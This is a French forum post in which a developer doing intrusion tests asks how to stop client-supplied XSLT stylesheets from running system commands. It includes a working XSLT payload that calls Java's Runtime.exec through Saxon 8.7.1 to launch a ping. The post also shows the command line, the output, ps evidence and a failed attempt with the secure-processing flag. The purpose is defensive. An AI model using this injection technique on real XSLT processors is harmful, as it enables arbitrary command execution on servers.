Bonjour,
Je suis sur un problème de sécurité.
Je voudrais interdire à quiconque, de faire des intrusions dans le système en modifiant les feuilles XSLT.
Or ces dernières, sont délivrer par les clients, donc faire en sorte que seuls du XSLT « standard » soit autorisé.
Je fais des tests d'intrusion.
Voici un exemple de XML :
Le XSL :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4 <?xml version="1.0" encoding="UTF-8"?> <pipo> <toto>dudu</toto> </pipo>
où l'adresse IP (999.999.999.999) est celle d'un autre ordinateur à attaquer.
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32 <?xml version="1.0" encoding="ISO-8859-1"?> <xsl:stylesheet version="1.0" xmlns:runtime="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:output method="xml" encoding="UTF-8" indent="yes"/> <xsl:variable name="xslVendor" select="system-property('xsl:vendor')" /> <xsl:variable name="xslVendorUrl" select="system-property('xsl:vendor-url')" /> <xsl:variable name="xslVersion" select="system-property('xsl:version')" /> <xsl:template match="/"> <xsl:apply-templates select="pipo" /> </xsl:template> <xsl:template match="pipo"> <bidon> <xsl:variable name="rtobject" select="runtime:getRuntime()" /> <xsl:variable name="process" select="runtime:exec($rtobject, 'ping 999.999.999.999')" /> <xsl:variable name="waiting" select="process:waitFor($process)" /> <xsl:value-of select="$process" /> <infos> <process><xsl:value-of select="$process" /></process> <vendor><xsl:value-of select="$xslVendor" /></vendor> <url><xsl:value-of select="$xslVendorUrl" /></url> <version><xsl:value-of select="$xslVersion" /></version> </infos> </bidon> </xsl:template> </xsl:stylesheet>
J'exécute ce code sur UNIX avec la librairie « saxon-8.7.1.jar ».
Ce qui me donne :
Code : Sélectionner tout - Visualiser dans une fenêtre à part java -cp saxon-8.7.1.jar net.sf.saxon.Transform test.xml test.xsl
et on voit qu'un process a été créé :
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5
6
7
8
9 Warning: Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor <?xml version="1.0" encoding="UTF-8"?> <bidon xmlns:runtime="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process">java.lang.UNIXProcess@a1a0a1a<infos> <process>java.lang.UNIXProcess@a1a0a1a</process> <vendor>SAXON 8.7.1 from Saxonica</vendor> <url>http://www.saxonica.com/</url> <version>2.0</version> </infos>
Je voudrais que cela ne soit plus possible.
Code : Sélectionner tout - Visualiser dans une fenêtre à part
1
2
3
4
5 # ps PID TTY TIME CMD 27918356 pts/0 0:00 -ksh 58589424 pts/0 0:00 ping 999.999.999.999 8716572 pts/0 0:00 ps
Pour cela, d'après ce que j'ai vu sur le NET, il faudrait valoriser http://javax.xml.XMLConstants/feature/secure-processing à true.
Or, si je fais cela :
J'obtiens la même chose !
Code : Sélectionner tout - Visualiser dans une fenêtre à part java -Dhttp://javax.xml.XMLConstants/feature/secure-processing="true" -cp saxon-8.7.1.jar net.sf.saxon.Transform test.xml test.xsl
Ca ne marche pas !?
Quelqu'un peut-il m'aider ?
Merci.
Partager